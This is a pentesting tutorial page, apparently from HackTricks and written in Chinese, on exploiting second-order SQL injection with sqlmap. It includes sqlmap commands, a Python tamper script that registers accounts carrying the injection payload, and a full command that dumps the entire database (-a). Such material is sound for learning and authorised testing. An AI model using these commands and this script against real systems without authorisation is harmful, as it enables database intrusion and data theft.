> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md).

# Second Order Injection - SQLMap

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**SQLMap可以利用二阶SQL注入。**\
您需要提供：

* **保存SQL注入payload**的**请求**
* 将**payload**执行的**请求**

保存SQL注入payload的请求与sqlmap中的任何其他注入一样。可以使用`--second-url`或`--second-req`指定sqlmap可以读取注入输出/执行的请求，如果需要指定来自文件的完整请求。

**简单的二阶示例：**

```bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```

在几种情况下**仅仅这样可能不够**，因为你需要**执行其他操作**，除了发送 payload 和访问不同的页面。

当需要这样做时，你可以使用一个**sqlmap tamper**。例如，下面的脚本将使用**sqlmap payload 作为邮箱**注册一个新用户，然后注销。

```python
#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
```

一个**SQLMap篡改器总是在使用有效载荷尝试注入之前执行，并且必须返回有效载荷**。在这种情况下，我们不关心有效载荷，但我们关心发送一些请求，因此有效载荷不会被更改。

因此，如果出于某种原因，我们需要一个更复杂的流程来利用第二阶SQL注入，比如：

* 在“email”字段中插入SQLi有效载荷创建一个帐户
* 注销
* 使用该帐户登录（login.txt）
* 发送请求以执行SQL注入（second.txt）

**这个sqlmap命令将有所帮助：**

```bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
```

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